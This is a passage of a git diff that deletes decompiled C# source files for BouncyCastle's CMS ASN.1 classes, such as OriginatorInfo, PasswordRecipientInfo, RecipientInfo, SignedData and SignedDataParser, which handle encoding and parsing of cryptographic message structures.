ArgumentException("Can't implicitly tag OriginatorIdentifierOrKey"); - } - return GetInstance(o.GetObject()); - } - - public static OriginatorIdentifierOrKey GetInstance(object o) - { - if (o == null || o is OriginatorIdentifierOrKey) - { - return (OriginatorIdentifierOrKey)o; - } - if (o is IssuerAndSerialNumber) - { - return new OriginatorIdentifierOrKey((IssuerAndSerialNumber)o); - } - if (o is SubjectKeyIdentifier) - { - return new OriginatorIdentifierOrKey((SubjectKeyIdentifier)o); - } - if (o is OriginatorPublicKey) - { - return new OriginatorIdentifierOrKey((OriginatorPublicKey)o); - } - if (o is Asn1TaggedObject) - { - return new OriginatorIdentifierOrKey((Asn1TaggedObject)o); - } - throw new ArgumentException("Invalid OriginatorIdentifierOrKey: " + Platform.GetTypeName(o)); - } - - public override Asn1Object ToAsn1Object() - { - return id.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OriginatorInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OriginatorInfo.cs deleted file mode 100644 index 165aa50..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OriginatorInfo.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class OriginatorInfo : Asn1Encodable -{ - private Asn1Set certs; - - private Asn1Set crls; - - public Asn1Set Certificates => certs; - - public Asn1Set Crls => crls; - - public OriginatorInfo(Asn1Set certs, Asn1Set crls) - { - this.certs = certs; - this.crls = crls; - } - - public OriginatorInfo(Asn1Sequence seq) - { - switch (seq.Count) - { - case 1: - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[0]; - switch (asn1TaggedObject.TagNo) - { - case 0: - certs = Asn1Set.GetInstance(asn1TaggedObject, explicitly: false); - break; - case 1: - crls = Asn1Set.GetInstance(asn1TaggedObject, explicitly: false); - break; - default: - throw new ArgumentException("Bad tag in OriginatorInfo: " + asn1TaggedObject.TagNo); - } - break; - } - case 2: - certs = Asn1Set.GetInstance((Asn1TaggedObject)seq[0], explicitly: false); - crls = Asn1Set.GetInstance((Asn1TaggedObject)seq[1], explicitly: false); - break; - default: - throw new ArgumentException("OriginatorInfo too big"); - case 0: - break; - } - } - - public static OriginatorInfo GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static OriginatorInfo GetInstance(object obj) - { - if (obj == null || obj is OriginatorInfo) - { - return (OriginatorInfo)obj; - } - if (obj is Asn1Sequence) - { - return new OriginatorInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid OriginatorInfo: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (certs != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, certs)); - } - if (crls != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, crls)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OriginatorPublicKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OriginatorPublicKey.cs deleted file mode 100644 index 8d1c721..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OriginatorPublicKey.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class OriginatorPublicKey : Asn1Encodable -{ - private readonly AlgorithmIdentifier mAlgorithm; - - private readonly DerBitString mPublicKey; - - public AlgorithmIdentifier Algorithm => mAlgorithm; - - public DerBitString PublicKey => mPublicKey; - - public OriginatorPublicKey(AlgorithmIdentifier algorithm, byte[] publicKey) - { - mAlgorithm = algorithm; - mPublicKey = new DerBitString(publicKey); - } - - [Obsolete("Use 'GetInstance' instead")] - public OriginatorPublicKey(Asn1Sequence seq) - { - mAlgorithm = AlgorithmIdentifier.GetInstance(seq[0]); - mPublicKey = DerBitString.GetInstance(seq[1]); - } - - public static OriginatorPublicKey GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static OriginatorPublicKey GetInstance(object obj) - { - if (obj == null || obj is OriginatorPublicKey) - { - return (OriginatorPublicKey)obj; - } - if (obj is Asn1Sequence) - { - return new OriginatorPublicKey(Asn1Sequence.GetInstance(obj)); - } - throw new ArgumentException("Invalid OriginatorPublicKey: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(mAlgorithm, mPublicKey); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OtherKeyAttribute.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OtherKeyAttribute.cs deleted file mode 100644 index dc82176..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OtherKeyAttribute.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class OtherKeyAttribute : Asn1Encodable -{ - private DerObjectIdentifier keyAttrId; - - private Asn1Encodable keyAttr; - - public DerObjectIdentifier KeyAttrId => keyAttrId; - - public Asn1Encodable KeyAttr => keyAttr; - - public static OtherKeyAttribute GetInstance(object obj) - { - if (obj == null || obj is OtherKeyAttribute) - { - return (OtherKeyAttribute)obj; - } - if (obj is Asn1Sequence) - { - return new OtherKeyAttribute((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public OtherKeyAttribute(Asn1Sequence seq) - { - keyAttrId = (DerObjectIdentifier)seq[0]; - keyAttr = seq[1]; - } - - public OtherKeyAttribute(DerObjectIdentifier keyAttrId, Asn1Encodable keyAttr) - { - this.keyAttrId = keyAttrId; - this.keyAttr = keyAttr; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(keyAttrId, keyAttr); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OtherRecipientInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OtherRecipientInfo.cs deleted file mode 100644 index 720b495..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OtherRecipientInfo.cs +++ /dev/null @@ -1,50 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class OtherRecipientInfo : Asn1Encodable -{ - private readonly DerObjectIdentifier oriType; - - private readonly Asn1Encodable oriValue; - - public virtual DerObjectIdentifier OriType => oriType; - - public virtual Asn1Encodable OriValue => oriValue; - - public OtherRecipientInfo(DerObjectIdentifier oriType, Asn1Encodable oriValue) - { - this.oriType = oriType; - this.oriValue = oriValue; - } - - [Obsolete("Use GetInstance() instead")] - public OtherRecipientInfo(Asn1Sequence seq) - { - oriType = DerObjectIdentifier.GetInstance(seq[0]); - oriValue = seq[1]; - } - - public static OtherRecipientInfo GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static OtherRecipientInfo GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is OtherRecipientInfo result) - { - return result; - } - return new OtherRecipientInfo(Asn1Sequence.GetInstance(obj)); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(oriType, oriValue); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OtherRevocationInfoFormat.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OtherRevocationInfoFormat.cs deleted file mode 100644 index 4936a65..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OtherRevocationInfoFormat.cs +++ /dev/null @@ -1,47 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cms; - -public class OtherRevocationInfoFormat : Asn1Encodable -{ - private readonly DerObjectIdentifier otherRevInfoFormat; - - private readonly Asn1Encodable otherRevInfo; - - public virtual DerObjectIdentifier InfoFormat => otherRevInfoFormat; - - public virtual Asn1Encodable Info => otherRevInfo; - - public OtherRevocationInfoFormat(DerObjectIdentifier otherRevInfoFormat, Asn1Encodable otherRevInfo) - { - this.otherRevInfoFormat = otherRevInfoFormat; - this.otherRevInfo = otherRevInfo; - } - - private OtherRevocationInfoFormat(Asn1Sequence seq) - { - otherRevInfoFormat = DerObjectIdentifier.GetInstance(seq[0]); - otherRevInfo = seq[1]; - } - - public static OtherRevocationInfoFormat GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static OtherRevocationInfoFormat GetInstance(object obj) - { - if (obj is OtherRevocationInfoFormat) - { - return (OtherRevocationInfoFormat)obj; - } - if (obj != null) - { - return new OtherRevocationInfoFormat(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(otherRevInfoFormat, otherRevInfo); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/PasswordRecipientInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/PasswordRecipientInfo.cs deleted file mode 100644 index 22e60a2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/PasswordRecipientInfo.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class PasswordRecipientInfo : Asn1Encodable -{ - private readonly DerInteger version; - - private readonly AlgorithmIdentifier keyDerivationAlgorithm; - - private readonly AlgorithmIdentifier keyEncryptionAlgorithm; - - private readonly Asn1OctetString encryptedKey; - - public DerInteger Version => version; - - public AlgorithmIdentifier KeyDerivationAlgorithm => keyDerivationAlgorithm; - - public AlgorithmIdentifier KeyEncryptionAlgorithm => keyEncryptionAlgorithm; - - public Asn1OctetString EncryptedKey => encryptedKey; - - public PasswordRecipientInfo(AlgorithmIdentifier keyEncryptionAlgorithm, Asn1OctetString encryptedKey) - { - version = new DerInteger(0); - this.keyEncryptionAlgorithm = keyEncryptionAlgorithm; - this.encryptedKey = encryptedKey; - } - - public PasswordRecipientInfo(AlgorithmIdentifier keyDerivationAlgorithm, AlgorithmIdentifier keyEncryptionAlgorithm, Asn1OctetString encryptedKey) - { - version = new DerInteger(0); - this.keyDerivationAlgorithm = keyDerivationAlgorithm; - this.keyEncryptionAlgorithm = keyEncryptionAlgorithm; - this.encryptedKey = encryptedKey; - } - - public PasswordRecipientInfo(Asn1Sequence seq) - { - version = (DerInteger)seq[0]; - if (seq[1] is Asn1TaggedObject) - { - keyDerivationAlgorithm = AlgorithmIdentifier.GetInstance((Asn1TaggedObject)seq[1], explicitly: false); - keyEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(seq[2]); - encryptedKey = (Asn1OctetString)seq[3]; - } - else - { - keyEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(seq[1]); - encryptedKey = (Asn1OctetString)seq[2]; - } - } - - public static PasswordRecipientInfo GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static PasswordRecipientInfo GetInstance(object obj) - { - if (obj == null || obj is PasswordRecipientInfo) - { - return (PasswordRecipientInfo)obj; - } - if (obj is Asn1Sequence) - { - return new PasswordRecipientInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid PasswordRecipientInfo: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version); - if (keyDerivationAlgorithm != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, keyDerivationAlgorithm)); - } - asn1EncodableVector.Add(keyEncryptionAlgorithm, encryptedKey); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientEncryptedKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientEncryptedKey.cs deleted file mode 100644 index 9247c1c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientEncryptedKey.cs +++ /dev/null @@ -1,50 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class RecipientEncryptedKey : Asn1Encodable -{ - private readonly KeyAgreeRecipientIdentifier identifier; - - private readonly Asn1OctetString encryptedKey; - - public KeyAgreeRecipientIdentifier Identifier => identifier; - - public Asn1OctetString EncryptedKey => encryptedKey; - - private RecipientEncryptedKey(Asn1Sequence seq) - { - identifier = KeyAgreeRecipientIdentifier.GetInstance(seq[0]); - encryptedKey = (Asn1OctetString)seq[1]; - } - - public static RecipientEncryptedKey GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static RecipientEncryptedKey GetInstance(object obj) - { - if (obj == null || obj is RecipientEncryptedKey) - { - return (RecipientEncryptedKey)obj; - } - if (obj is Asn1Sequence) - { - return new RecipientEncryptedKey((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid RecipientEncryptedKey: " + Platform.GetTypeName(obj), "obj"); - } - - public RecipientEncryptedKey(KeyAgreeRecipientIdentifier id, Asn1OctetString encryptedKey) - { - identifier = id; - this.encryptedKey = encryptedKey; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(identifier, encryptedKey); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientIdentifier.cs deleted file mode 100644 index 5f3edd9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientIdentifier.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class RecipientIdentifier : Asn1Encodable, IAsn1Choice -{ - private Asn1Encodable id; - - public bool IsTagged => id is Asn1TaggedObject; - - public Asn1Encodable ID - { - get - { - if (id is Asn1TaggedObject) - { - return Asn1OctetString.GetInstance((Asn1TaggedObject)id, isExplicit: false); - } - return IssuerAndSerialNumber.GetInstance(id); - } - } - - public RecipientIdentifier(IssuerAndSerialNumber id) - { - this.id = id; - } - - public RecipientIdentifier(Asn1OctetString id) - { - this.id = new DerTaggedObject(explicitly: false, 0, id); - } - - public RecipientIdentifier(Asn1Object id) - { - this.id = id; - } - - public static RecipientIdentifier GetInstance(object o) - { - if (o == null || o is RecipientIdentifier) - { - return (RecipientIdentifier)o; - } - if (o is IssuerAndSerialNumber) - { - return new RecipientIdentifier((IssuerAndSerialNumber)o); - } - if (o is Asn1OctetString) - { - return new RecipientIdentifier((Asn1OctetString)o); - } - if (o is Asn1Object) - { - return new RecipientIdentifier((Asn1Object)o); - } - throw new ArgumentException("Illegal object in RecipientIdentifier: " + Platform.GetTypeName(o)); - } - - public override Asn1Object ToAsn1Object() - { - return id.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientInfo.cs deleted file mode 100644 index 90501f3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientInfo.cs +++ /dev/null @@ -1,108 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class RecipientInfo : Asn1Encodable, IAsn1Choice -{ - internal Asn1Encodable info; - - public DerInteger Version - { - get - { - if (info is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)info; - return asn1TaggedObject.TagNo switch - { - 1 => KeyAgreeRecipientInfo.GetInstance(asn1TaggedObject, explicitly: false).Version, - 2 => GetKekInfo(asn1TaggedObject).Version, - 3 => PasswordRecipientInfo.GetInstance(asn1TaggedObject, explicitly: false).Version, - 4 => new DerInteger(0), - _ => throw new InvalidOperationException("unknown tag"), - }; - } - return KeyTransRecipientInfo.GetInstance(info).Version; - } - } - - public bool IsTagged => info is Asn1TaggedObject; - - public Asn1Encodable Info - { - get - { - if (info is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)info; - return asn1TaggedObject.TagNo switch - { - 1 => KeyAgreeRecipientInfo.GetInstance(asn1TaggedObject, explicitly: false), - 2 => GetKekInfo(asn1TaggedObject), - 3 => PasswordRecipientInfo.GetInstance(asn1TaggedObject, explicitly: false), - 4 => OtherRecipientInfo.GetInstance(asn1TaggedObject, explicitly: false), - _ => throw new InvalidOperationException("unknown tag"), - }; - } - return KeyTransRecipientInfo.GetInstance(info); - } - } - - public RecipientInfo(KeyTransRecipientInfo info) - { - this.info = info; - } - - public RecipientInfo(KeyAgreeRecipientInfo info) - { - this.info = new DerTaggedObject(explicitly: false, 1, info); - } - - public RecipientInfo(KekRecipientInfo info) - { - this.info = new DerTaggedObject(explicitly: false, 2, info); - } - - public RecipientInfo(PasswordRecipientInfo info) - { - this.info = new DerTaggedObject(explicitly: false, 3, info); - } - - public RecipientInfo(OtherRecipientInfo info) - { - this.info = new DerTaggedObject(explicitly: false, 4, info); - } - - public RecipientInfo(Asn1Object info) - { - this.info = info; - } - - public static RecipientInfo GetInstance(object o) - { - if (o == null || o is RecipientInfo) - { - return (RecipientInfo)o; - } - if (o is Asn1Sequence) - { - return new RecipientInfo((Asn1Sequence)o); - } - if (o is Asn1TaggedObject) - { - return new RecipientInfo((Asn1TaggedObject)o); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(o)); - } - - private KekRecipientInfo GetKekInfo(Asn1TaggedObject o) - { - return KekRecipientInfo.GetInstance(o, o.IsExplicit()); - } - - public override Asn1Object ToAsn1Object() - { - return info.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientKeyIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientKeyIdentifier.cs deleted file mode 100644 index 074e402..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/RecipientKeyIdentifier.cs +++ /dev/null @@ -1,89 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class RecipientKeyIdentifier : Asn1Encodable -{ - private Asn1OctetString subjectKeyIdentifier; - - private DerGeneralizedTime date; - - private OtherKeyAttribute other; - - public Asn1OctetString SubjectKeyIdentifier => subjectKeyIdentifier; - - public DerGeneralizedTime Date => date; - - public OtherKeyAttribute OtherKeyAttribute => other; - - public RecipientKeyIdentifier(Asn1OctetString subjectKeyIdentifier, DerGeneralizedTime date, OtherKeyAttribute other) - { - this.subjectKeyIdentifier = subjectKeyIdentifier; - this.date = date; - this.other = other; - } - - public RecipientKeyIdentifier(byte[] subjectKeyIdentifier) - : this(subjectKeyIdentifier, null, null) - { - } - - public RecipientKeyIdentifier(byte[] subjectKeyIdentifier, DerGeneralizedTime date, OtherKeyAttribute other) - { - this.subjectKeyIdentifier = new DerOctetString(subjectKeyIdentifier); - this.date = date; - this.other = other; - } - - public RecipientKeyIdentifier(Asn1Sequence seq) - { - subjectKeyIdentifier = Asn1OctetString.GetInstance(seq[0]); - switch (seq.Count) - { - case 2: - if (seq[1] is DerGeneralizedTime) - { - date = (DerGeneralizedTime)seq[1]; - } - else - { - other = OtherKeyAttribute.GetInstance(seq[2]); - } - break; - case 3: - date = (DerGeneralizedTime)seq[1]; - other = OtherKeyAttribute.GetInstance(seq[2]); - break; - default: - throw new ArgumentException("Invalid RecipientKeyIdentifier"); - case 1: - break; - } - } - - public static RecipientKeyIdentifier GetInstance(Asn1TaggedObject ato, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(ato, explicitly)); - } - - public static RecipientKeyIdentifier GetInstance(object obj) - { - if (obj == null || obj is RecipientKeyIdentifier) - { - return (RecipientKeyIdentifier)obj; - } - if (obj is Asn1Sequence) - { - return new RecipientKeyIdentifier((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid RecipientKeyIdentifier: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(subjectKeyIdentifier); - asn1EncodableVector.AddOptional(date, other); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/ScvpReqRes.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/ScvpReqRes.cs deleted file mode 100644 index 1ad3ab7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/ScvpReqRes.cs +++ /dev/null @@ -1,61 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cms; - -public class ScvpReqRes : Asn1Encodable -{ - private readonly ContentInfo request; - - private readonly ContentInfo response; - - public virtual ContentInfo Request => request; - - public virtual ContentInfo Response => response; - - public static ScvpReqRes GetInstance(object obj) - { - if (obj is ScvpReqRes) - { - return (ScvpReqRes)obj; - } - if (obj != null) - { - return new ScvpReqRes(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - private ScvpReqRes(Asn1Sequence seq) - { - if (seq[0] is Asn1TaggedObject) - { - request = ContentInfo.GetInstance(Asn1TaggedObject.GetInstance(seq[0]), isExplicit: true); - response = ContentInfo.GetInstance(seq[1]); - } - else - { - request = null; - response = ContentInfo.GetInstance(seq[0]); - } - } - - public ScvpReqRes(ContentInfo response) - : this(null, response) - { - } - - public ScvpReqRes(ContentInfo request, ContentInfo response) - { - this.request = request; - this.response = response; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (request != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, request)); - } - asn1EncodableVector.Add(response); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignedData.cs deleted file mode 100644 index 2b48211..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignedData.cs +++ /dev/null @@ -1,206 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class SignedData : Asn1Encodable -{ - private static readonly DerInteger Version1 = new DerInteger(1); - - private static readonly DerInteger Version3 = new DerInteger(3); - - private static readonly DerInteger Version4 = new DerInteger(4); - - private static readonly DerInteger Version5 = new DerInteger(5); - - private readonly DerInteger version; - - private readonly Asn1Set digestAlgorithms; - - private readonly ContentInfo contentInfo; - - private readonly Asn1Set certificates; - - private readonly Asn1Set crls; - - private readonly Asn1Set signerInfos; - - private readonly bool certsBer; - - private readonly bool crlsBer; - - public DerInteger Version => version; - - public Asn1Set DigestAlgorithms => digestAlgorithms; - - public ContentInfo EncapContentInfo => contentInfo; - - public Asn1Set Certificates => certificates; - - public Asn1Set CRLs => crls; - - public Asn1Set SignerInfos => signerInfos; - - public static SignedData GetInstance(object obj) - { - if (obj is SignedData) - { - return (SignedData)obj; - } - if (obj is Asn1Sequence) - { - return new SignedData((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public SignedData(Asn1Set digestAlgorithms, ContentInfo contentInfo, Asn1Set certificates, Asn1Set crls, Asn1Set signerInfos) - { - version = CalculateVersion(contentInfo.ContentType, certificates, crls, signerInfos); - this.digestAlgorithms = digestAlgorithms; - this.contentInfo = contentInfo; - this.certificates = certificates; - this.crls = crls; - this.signerInfos = signerInfos; - crlsBer = crls is BerSet; - certsBer = certificates is BerSet; - } - - private DerInteger CalculateVersion(DerObjectIdentifier contentOid, Asn1Set certs, Asn1Set crls, Asn1Set signerInfs) - { - bool flag = false; - bool flag2 = false; - bool flag3 = false; - bool flag4 = false; - if (certs != null) - { - foreach (object cert in certs) - { - if (cert is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)cert; - if (asn1TaggedObject.TagNo == 1) - { - flag3 = true; - } - else if (asn1TaggedObject.TagNo == 2) - { - flag4 = true; - } - else if (asn1TaggedObject.TagNo == 3) - { - flag = true; - break; - } - } - } - } - if (flag) - { - return Version5; - } - if (crls != null) - { - foreach (object crl in crls) - { - if (crl is Asn1TaggedObject) - { - flag2 = true; - break; - } - } - } - if (flag2) - { - return Version5; - } - if (flag4) - { - return Version4; - } - if (flag3 || !CmsObjectIdentifiers.Data.Equals(contentOid) || CheckForVersion3(signerInfs)) - { - return Version3; - } - return Version1; - } - - private bool CheckForVersion3(Asn1Set signerInfs) - { - foreach (object signerInf in signerInfs) - { - SignerInfo instance = SignerInfo.GetInstance(signerInf); - if (instance.Version.Value.IntValue == 3) - { - return true; - } - } - return false; - } - - private SignedData(Asn1Sequence seq) - { - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - version = (DerInteger)enumerator.Current; - enumerator.MoveNext(); - digestAlgorithms = (Asn1Set)enumerator.Current; - enumerator.MoveNext(); - contentInfo = ContentInfo.GetInstance(enumerator.Current); - while (enumerator.MoveNext()) - { - Asn1Object asn1Object = (Asn1Object)enumerator.Current; - if (asn1Object is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)asn1Object; - switch (asn1TaggedObject.TagNo) - { - case 0: - certsBer = asn1TaggedObject is BerTaggedObject; - certificates = Asn1Set.GetInstance(asn1TaggedObject, explicitly: false); - break; - case 1: - crlsBer = asn1TaggedObject is BerTaggedObject; - crls = Asn1Set.GetInstance(asn1TaggedObject, explicitly: false); - break; - default: - throw new ArgumentException("unknown tag value " + asn1TaggedObject.TagNo); - } - } - else - { - signerInfos = (Asn1Set)asn1Object; - } - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, digestAlgorithms, contentInfo); - if (certificates != null) - { - if (certsBer) - { - asn1EncodableVector.Add(new BerTaggedObject(explicitly: false, 0, certificates)); - } - else - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, certificates)); - } - } - if (crls != null) - { - if (crlsBer) - { - asn1EncodableVector.Add(new BerTaggedObject(explicitly: false, 1, crls)); - } - else - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, crls)); - } - } - asn1EncodableVector.Add(signerInfos); - return new BerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignedDataParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignedDataParser.cs deleted file mode 100644 index 6f8c0cb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignedDataParser.cs +++ /dev/null @@ -1,94 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class SignedDataParser -{ - private Asn1SequenceParser _seq; - - private DerInteger _version; - - private object _nextObject; - - private bool _certsCalled; - - private bool _crlsCalled; - - public DerInteger Version => _version; - - public static SignedDataParser GetInstance(object o) - { - if (o is Asn1Sequence) - { - return new SignedDataParser(((Asn1Sequence)o).Parser); - } - if (o is Asn1SequenceParser) - { - return new SignedDataParser((Asn1SequenceParser)o); - } - throw new IOException("unknown object encountered: " + Platform.GetTypeName(o)); - } - - public SignedDataParser(Asn1SequenceParser seq) - { - _seq = seq; - _version = (DerInteger)seq.ReadObject(); - } - - public Asn1SetParser GetDigestAlgorithms() - { - return (Asn1SetParser)_seq.ReadObject(); - } - - public ContentInfoParser GetEncapContentInfo() - { - return new ContentInfoParser((Asn1SequenceParser)_seq.ReadObject()); - } - - public Asn1SetParser GetCertificates() - { - _certsCalled = true; - _nextObject = _seq.ReadObject(); - if (_nextObject is Asn1TaggedObjectParser && ((Asn1TaggedObjectParser)_nextObject).TagNo == 0) - { - Asn1SetParser result = (Asn1SetParser)((Asn1TaggedObjectParser)_nextObject).GetObjectParser(17, isExplicit: false); - _nextObject = null; - return result; - } - return null; - } - - public Asn1SetParser GetCrls() - { - if (!_certsCalled) - { - throw new IOException("GetCerts() has not been called."); - } - _crlsCalled = true; - if (_nextObject == null) - { - _nextObject = _seq.ReadObject(); - } - if (_nextObject is Asn1TaggedObjectParser && ((Asn1TaggedObjectParser)_nextObject).TagNo == 1) - { - Asn1SetParser result = (Asn1SetParser)((Asn1TaggedObjectParser)_nextObject).GetObjectParser(17, isExplicit: false); - _nextObject = null; - return result; - } - return null; - } - - public Asn1SetParser GetSignerInfos() - { - if (!_certsCalled || 